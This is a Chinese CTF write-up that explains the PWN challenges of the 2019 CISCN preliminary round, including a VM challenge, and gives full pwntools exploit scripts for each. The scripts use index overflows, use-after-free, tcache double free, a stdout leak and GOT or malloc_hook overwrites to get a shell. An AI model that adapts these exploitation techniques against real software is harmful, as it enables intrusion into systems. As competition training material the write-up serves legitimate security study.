2019CISCN初赛PWN全解

我看之前都有师傅发了pwn的exp,但没有过多的详解基本上直接贴exp,而且最后一题vm pwn的好像没有wp,我这里就详细的讲讲每题的思路

your_pwn

程序漏洞很简单,一个数组下标溢出漏洞,用好了就能解题了,主要就是泄漏出libc_start_main的地址,从而得到libc,然后再改为onegadget,一把梭getshell,完事

主要的麻烦点应该是泄漏的时候,由于是一个个字节输出的,而且还是unsigned int 型,存在部分奇怪的0xffffxx的情况,只需要保留后两位就行了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./your_pwn"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("0.0.0.0",0000)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
ru("name:")
sl("666")
libc_start_main= []
for x in xrange(0x278,0x27e):
ru("input index\n")
sl(str(x))
ru("now value(hex) ")
leak = ru("\n").strip()
libc_start_main.append(leak[-2:])
#leak = int(ru("\n").strip(),16)
print "idx:",hex(x)
print "value:",leak
print "libc_start_main:",libc_start_main
ru("input new value\n")
leak = int(leak,16)
sl(str(leak))

libc_start_main1="0x"
for x in libc_start_main[::-1]:
libc_start_main1 +=x
print "libc_start_main:",libc_start_main1
libc_base = int(libc_start_main1,16)-240-libc.sym["__libc_start_main"]
print "libc_base",hex(libc_base)
one =libc_base+0x45216
print "onegadget:",hex(one)

one1 = one&0xff
one2 = (one&0xff00)>>8
one3 = (one&0xff0000)>>16
one4 = (one&0xff000000)>>24
one5 = (one&0xff00000000)>>32
print "one1:",hex(one1)
print "one2:",hex(one2)
print "one3:",hex(one3)
print "one4:",hex(one4)
print "one5:",hex(one5)
onegadget = []
onegadget.append(one1)
onegadget.append(one2)
onegadget.append(one3)
onegadget.append(one4)
onegadget.append(one5)
idx=0
for x in xrange(0x278,0x27d):
ru("input index\n")
sl(str(x))
ru("now value(hex) ")
leak = ru("\n").strip()
print "idx:",hex(x)
print "value:",leak
ru("input new value\n")
sl(str(onegadget[idx]))
idx+=1

for x in xrange(0,30):
ru("input index\n")
sl(str(x))
ru("input new value\n")
sl(str(x))
ru("do you want continue(yes/no)? \n")
sl("yes")
getshell()

daily

一道典型堆题,除了PIE,其他保护机制都开了,直接看功能吧

一、创建chunk,bss段存了个chunk list

1556025039051

二、show功能,一般都是用来泄漏的,很明显这里是printf chunk list的内容,如果能修改或者非法访问,那么很容易泄漏出libc来

1556025149187

三、edit功能

1556025234421

四、free功能,这个是本题比较明显的漏洞点,没有检查下标idx的范围,可以是负数也可以是一个很大的数,从而导致了可能free到一个很远的地方的指针,但是free后清空指针,莫得UAF

1556025321651

这题的思路其实很简单,首先需要泄漏,那么首先能想到的就是free 一个unsorted bin的chunk,通过show fd和bk拿到

但是show的时候有检查,如果chunk_list[4 * idx + 2]=0,那么是没办法show的,也就莫得泄漏,这里就需要用别的方法来free,就是通过下标溢出,去free另一个指向chunk的地方,这里就需要我们来构造,从vmmap中可以看到bss段里堆空间还是很近的,那么可以想办法在堆里面构造一个假的chunk list,然后在用较大的idx去free,这样在show的时候就能成功泄漏出libc了

但问题又来了,怎么搞到堆的地址呢?

这里需要利用一波large bin ,我们知道当chunk被链接进large bin的时候,是会有fd_nextsize和bk_nextsize字段的,可以通过以下操作来实现泄漏堆地址:

1
2
3
4
5
6
7
create(0x500,"A"*8)#1
create(0x60,"A"*8)#2
create(0x500,"A"*8)#3
free(1)
free(3)
create(0x500,"A"*8)#1
show()

拿到堆地址了,就容易泄漏出libc了,接着就控制程序的流程了,由于开了RELRO保护,我们没法改got表,那么就用最常规的改malloc hook来实现getshell

怎么改,老方法,double free把chunk分配到 malloc_hook - 0x23的位置,因为那里刚刚好有个0x7f的size可绕过检查

这里需要注意的就是,在double free的时候,free两次就需要用到下标溢出的方法,不然莫得double free

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./daily"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("xxxx.kr-lab.com",58512)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def create(size,content):
ru("Your choice:")
sl("2")
ru("Please enter the length of daily:")
sd(str(size))
ru("Now you can write you daily\n")
sd(content)
def show():
ru("Your choice:")
sl("1")
def edit(idx,content):
ru("Your choice:")
sl("3")
ru("Please enter the index of daily:")
sl(str(idx))
ru("Please enter the new daily\n")
sd(content)
def free(idx):
ru("Your choice:")
sl("4")
ru("Please enter the index of daily:")
sl(str(idx))

create(0x100,"a"*4)#0
create(0x500,"A"*8)#1
create(0x60,"A"*8)#2
create(0x500,"A"*8)#3
create(0x60,"A"*8)#4
free(0)

create(0x100,"a"*8)#0
show()
ru("a"*8)
libc.address = u64(p.recv(6).ljust(8,"\x00"))-88-0x10-libc.sym["__malloc_hook"]
one =libc.address +0xf02a4
print "libc.base:",hex(libc.address)
free(1)
free(3)
#debug()
create(0x500,"A"*8)#1
show()
ru("A"*8)
leak = ru("2 :")[:-3]
heap = u64(leak.ljust(8,"\x00"))-0x50
print "heap",hex(heap)

create(0x500,"A"*8)#3
#debug()
free(2)
payload="a"*16+p64(0x60)+p64(heap-0x10)
create(0x60,payload)#2

offset = (heap-0x602060)//16
print "offset-------->",offset

free(2)
free(4)
free(offset)#2

print "one--->",hex(one)
print "__malloc_hook--->",hex(libc.sym["__malloc_hook"]-0x23)

#
create(0x60,"a"*8)#2
edit(2,p64(libc.sym["__malloc_hook"]-0x23))
create(0x60,"a"*8)#4

create(0x60,"a"*8)
create(0x60,"a"*0x13+p64(one)+p64(one))

payload="a"*16+p64(0x60)+p64(heap-0x10)
edit(2,payload)
free(2)
free(offset)
getshell()

baby_pwn

这个就是个送分题,最标准的ret2dl_runtime_resolve,稍微学pwn有点时间的人都知道考点是什么,被秒的快也正常,因为这个题直接用一个工具生成一个paylode就能一把梭getshell的

我这里放用roputils工具的exp吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
from roputils import*
context.log_level="debug"
p =remote('xxxx.kr-lab.com',33865)
elf=ELF('./baby_pwn')
rop=ROP('./baby_pwn')

offset=0x28 + 4
bss_base = 0x0804A040
buf = rop.fill(offset)
buf += rop.call('read',0,bss_base,100)
buf += rop.dl_resolve_call(bss_base+20,bss_base)
p.send(buf)

buf = rop.string('/bin/sh')
buf += rop.fill(20,buf)
buf += rop.dl_resolve_data(bss_base+20,'system')
buf += rop.fill(100,buf)
p.send(buf)
p.interactive()

Double

这个只开了canary和nx保护,是个堆题

看名字感觉像是个double free,但其实不是

逆起逻辑来不太友好,很绕,我是根据动态调试结合IDA来看看反汇编的,这样理解的快一点

首先看第一个功能,创建chunk

1556027303558

首先在第一次创建的时候,会创建两个chunk,一个我称为头chunk用来存储各种指针内容,另一个我成为内容chunk,用来存储用户输入数据

在第二次创建的时候,就分两种情况讨论了

首先会判断一个你将要存储的内容和上一个已创建的内容chunk是不是一样的,如果是一样的那么直接生成一个头chunk进行链表操作,把指针指向上一个头chunk,因为他们内容一样嘛,所以不再新生成一个内容chunk,起到一个节省空间的作用

如果判断发现你将要存储的内容和上一个不一样,那么就会按第一次创建一样,给你创建好头chunk和内容chunk,然后对头chunk进行指针赋值,这里类似一个加入双向链表的操作,而链表的头部在bss段中保存着

继续,分析第二个功能,show,很明显也是拿来泄漏用的

1556027838639

这里,可以看到,他做了一个检查,如果你输入的idx和双向链表中的内容不相符,则不能进行show操作

第三个功能edit功能

1556027929639

这里主要检测了你输入的idx是否合法,然后检查长度是否和创建的时候一致,如果一致就按之前的chunk进行修改,如果不一致,就创建一个新的chunk的来存储,然后再次进行链表的修改

第四个功能,free

1556028046000

可以看到,free的时候没清空指针,存在一个UAF

以上一波功能分析完了,其实可以发现题目还是有点复杂的,尤其是他的模拟链表的操作,我一开始的思路是通过堆风水的排布,再加上构造操控chunk,去利用他的链表操作规则实现一个类似unlink的操作,然后在这种思路下浪费了大量的时间,然后一直没搞出来,最后发现。。其实思路并不是这样的。。

而后面调试的时候发现,这题只是一个简单的UAF!woc!

如果你一开始的布局是这样的

create(“a”*0x100)#0

create(“a”*0x100)#1

那么内存里面是这样的

1556029703865

可以发现,这里第二次create的时候,没有再次生成0x110大小的chunk来存储内容,而是只生成了一个0x20的chunk,里面存储指向第一次create的时候创建的0x110的chunk,导致了UAF

这样就导致了:无论是show还是edit的时候,无论你输入的下标是0还是1,他们都指向了同一个内存空间

那么如果把chunk0 free进unsorted bin,那么,再show chunk1,就可以把unsorted bin的地址给泄漏出来,从而拿到了libc的基址

接着同样用这样的方法,通过fastbin attack,实现任意地址写,这里还是用很通用的改malloc_hook,把chunk分配到malloc_hook-0x23的位置,恰好有个0x7f作为size绕过检查,这样就能够把malloc_hook改成onegadget,从而一把梭getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./double"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("xxx.kr-lab.com", 40002)
libc = elf.libc
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def create(content):
ru("> ")
sl("1")
ru("Your data:\n")
sl(content)
def show(idx):
ru("> ")
sl("2")
ru("Info index: ")
sl(str(idx))
def edit(idx,content):
ru("> ")
sl("3")
ru("Info index: ")
sl(str(idx))
sl(content)
def free(idx):
ru("> ")
sl("4")
ru("Info index: ")
sl(str(idx))

create("a"*0x100)#0
create("a"*0x100)#1
debug()
free(0)
show(1)
libc.address = u64(p.recv(6).ljust(8,"\x00")) -88-0x10-libc.sym["__malloc_hook"]
malloc_hook=libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
onegadget = libc.address+0x4526a
print "libc.address--->",hex(libc.address)
print "malloc_hook--->",hex(malloc_hook)
print "onegadget--->",hex(onegadget)
print "free_hook--->",hex(free_hook)
#debug()
create("b"*0x60)#2
create("b"*0x60)#3
free(2)
edit(3,p64(malloc_hook-0x23))

create("b"*0x60)
create(("c"*0x13+p64(onegadget)).ljust(0x60,"c"))

sl("1")
getshell()

bms

这题很看运气啊23333

关键点就在于你有没有猜对libc和有没有刚刚好知道通过伪造stdout来泄漏libc的知识点

这题比较蛇皮,首先给你来了一手逆向,解一个字符串密码,不过也不难,就是个异或+位移,解出来密码就是frame

保护机制只有PIE没开

功能倒是很简单

首先一个创建chunk的功能,主要就是一次会创建两个chunk,一个0x20,一个0-0xff大小

1556111850065

第二个功能,free

1556111903167

嗯,很明显有个UAF漏洞

功能就这些,莫得show函数给我们用,这里是比较大的难点

当时我们做的时候就想着如果是tcache机制的,那么就很容易double free了任意地址写了,于是连接远程端试试两次free同一个chunk,结果发现果然不报错2333,于是思路方向就对了,没有踩那么多坑

于是现在发现一个通过double free任意地址写的漏洞,接着就需要考虑如何去泄漏libc

由于之前刚刚好做过hitcon2018 baby_tcache这题,里面就有个通过stdout泄漏libc的操作,需要的仅仅只是一个任意地址写就可以完成,具体的原理涉及一点IO FILE的知识,这里放一个链接,可以很清楚的看懂原理:

https://hpasserby.me/post/8e1cd5dc.html#%E6%B3%84%E9%9C%B2libc

简单的说,就是根据puts函数内部的一系列的调用逻辑,通过修改结构体成员使得输出发生变化,流程简单可以总结为如下:

​ puts函数在源码中是由 _IO_puts实现的,而 _IO_puts 函数内部会调用 _IO_sputn,结果会执行 _IO_new_file_xsputn,最终会执行 _IO_overflow

在这个过程中,把stdout的_IO_write_base 的最后一个字节修改小,从而实现多输出了一些内容,这些内容就包含了libc地址

泄漏出了libc后就好办了,就是常规的double free把malloc hook给改了,或者改了free hook

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*
context.log_level="debug"

p = process('./bms1')
elf = ELF('./bms1')
libc = elf.libc

def new(size,content,name):
p.sendlineafter(">","1")
p.sendafter("book name:",name)
p.sendlineafter("description size:",str(size))
p.sendafter("description:",content)

def free(idx):
p.sendlineafter(">","2")
p.sendlineafter("index:",str(idx))

def edit(idx,content):
p.sendlineafter(">","3")
p.sendlineafter("index:",str(idx))
p.sendafter("new description:",content)

p.sendlineafter("username:","admin")
p.sendlineafter("password:","frame")

new(0x80,'aaaa\n','aaaa\n')#0
free(0)
free(0)#double free

new(0x80,p64(0x602020) + "\n","aaaa\n")#1
new(0x80,"\n","aaaa\n")#2

fake_stdout = p64(0xfbad1800) + p64(0)*3 + "\x00"
#partial overwrite IO_write_base
new(0x80,"\x20","aaaa\n")#3
new(0x80,fake_stdout,"aaaa\n")#4

leak = p.recv(0x20)
leak = leak[0x18:]
leak_add = u64(leak[:6].ljust(8,'\x00'))
libc_base = leak_add - 4027360#调试得出
libc.address = libc_base
success(hex(libc_base))
pause()
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']


new(0x30,'aaaa\n','aaaa\n')#5
free(5)
free(5)
new(0x30,p64(free_hook)*2 + "\n","aaaa\n")#6
new(0x30,"\n","aaaa\n")#7
new(0x30,p64(system),"aaaa\n")#8
new(0x10,"/bin/sh\x00","aaaa\n")#9
free(9)
p.interactive()

virtual

这个是个vm的pwn,就是写了一套vm来实现几个简单指令的执行,如果逆明白了程序的流程,那么发现漏洞点也就不远了,就差这个没能ak pwn,逆向分析能力太菜了,这里详细的记录一下解题思路

首先是逆程序的逻辑,这一步其实就是最重要的了,如果逆得明明白白后面的漏洞利用就不难理解了

我这里直接放我逆好了逻辑的截图

1556778214876

首先这里开辟三个主要的空间,进行存储stack数据,指令数据,bss数据,这里面又对应了一个结构体

1556778351149

结构体三个成员分别对应存储data,size,index

程序一开始让你输入一个程序的名字,接着输入指令,用空格隔开

然后输入stack的数据,也是用空格隔开

然后用process_instruction函数处理输入的指令,变成opcode

1556778494403

这里使用了一个store函数进行存储opcode,但需要注意的是存储的顺序是倒序,跟输入的顺序是不一样的

1556778555619

在store函数中,会使得instruction的结构体中的index成员发生改变每次都会+1

1556778696389

同样的,用process_stack_data函数处理stack的数据转换为long,存入data的成员变量中

1556778715425

加载完数据以后,就开始用run_inst函数,对输入的指令和数据进行处理1556778791255

这里会根据opcode的数值,进行判断跳转执行哪些函数,一开始逆向这一部分的时候是比较麻烦的,因为程序是去符号的,没法直接看出来执行了哪个函数,因此去下断点,一个个试试,从而得到8个指令操作对应的函数

1556778926860

这里取指令也用到了一个函数:get_data

1556778962465

可以看到,这个函数则是倒序进行取数据的,和之前的倒序输入数据恰恰对应,因此我们就直接把指令和数据读取的操作看成与我们输入的顺序是一致的

函数分析

接着来分析一波各个函数的用途:

push函数

1556779063061

push函数的作用是,把数据从stack空间取出,并存储进bss空间,这里相应的发生了stack结构体和bss结构体中index成员的变化

pop函数

1556779176721

pop函数则相反,把数据从bss空间取出,并存储进stack空间,同样发生了stack结构体和bss结构体中index成员的变化

add函数

1556779242174

add函数的作用是,一次性取出bss中的倒数第一个值和倒数第二个值,把这两个相加后再存入bss空间中

load函数

1556779339756

load函数的作用是,把bss中的倒数第一个数据当成一个下标idx,再把bss->data[idx] 的值存入 bss空间中

save函数

1556779453022

save函数的作用是,把bss空间中最后一个数据当做下标idx,使得bss->data[idx]的值为bss空间的倒数第二个数值

利用

这里就分析以上的几个函数就足以解题了,通过上面的分析,我们可以发现,load和save函数是存在下标越界的漏洞的

有了这个漏洞,另外通过其他几个函数,还可以实现任意地址写,那么利用的思路就很简单了:改got表就完事了

这里首先要进行劫持bss空间的data指针到程序的bss段中

我们通过调试发现栈里面是存了 stack、 instruction 、bss三个空间指针的

1556779940902

可以看到bss空间的成员:

1556780033708

这里,就可以利用save函数,把bss->data改成别的指针,从而使得之后的所有bss的存取操作都在另一个空间进行

首先,push bss_addr,注意这里的bss_addr是指程序的bss段,地址为:0x4040d0

然后,push -3

这时bss->data里面的数据排布是这样的:0x4040d0、-3

这时通过save函数,使得 bss->data[-3] =0x4040d0

也就这样改变了bss->data指针

1556780289192

之后所有有关bss空间的操作,都在0x4040d0中进行

为什么要把bss->data指针改成0x4040d0呢?

因为它离got表很近啊

1556780399979

这里可以看到,puts的got表是可以通过一个负数的idx访问到的

因此继续操作

push -22

push -22

这时通过load函数,把 bss->data[-22]的数值存入bss空间中

此时0x4040d0中数据有:-22,puts_got,

如图:

1556780617643

接着

push (0xf1147-0x6F690)

onegadget_libc是0xf1147,减去0x6F690,是得到一个偏移offset,这个通过调试算出,因为要使得onegadget_addr=puts_got+offset

此时0x4040d0中数据有: -22,puts_got,offset

1556781021722

接着进行add

就会使得0x4040d0中数据变成: -22,onegadget_addr

1556781153614

然后push -22

这时候0x4040d0中数据变成: -22,onegadget_addr,-22

1556781189839

最后进行save

通过save函数,使得 bss->data[-22] =onegadget_addr,也就是使得 pust_got=onegadget_addr

成功修改,getshell

1556781492881

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./virtual"
context.binary=bin_elf
elf = ELF(bin_elf)

if sys.argv[1] == "r":
p = remote("0.0.0.0",0000)
libc = ELF("./libc-2.23.so")
elif sys.argv[1] == "l":
libc = elf.libc
p = process(bin_elf)
#-------------------------------------
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
bss = 0x4040D0

ru('Your program name:')
sl('2333')
ru('Your instruction:')
sl('push push save push push load push add push save')
ru('data:')
one = 0xf1147
offset= 0x81ab7#(one-0x6F690)
data = [bss,-3,-22,-22,offset,-22]

payload = ''
for i in data:
payload += str(i)+' '

sl(payload)
p.interactive()

这里特别感谢ch4r1l3和pizza给的参考wp,tql,至此本菜鸡终于复现搞懂了这题orz,太菜了,搞pwn还是得练好扎实的逆向基础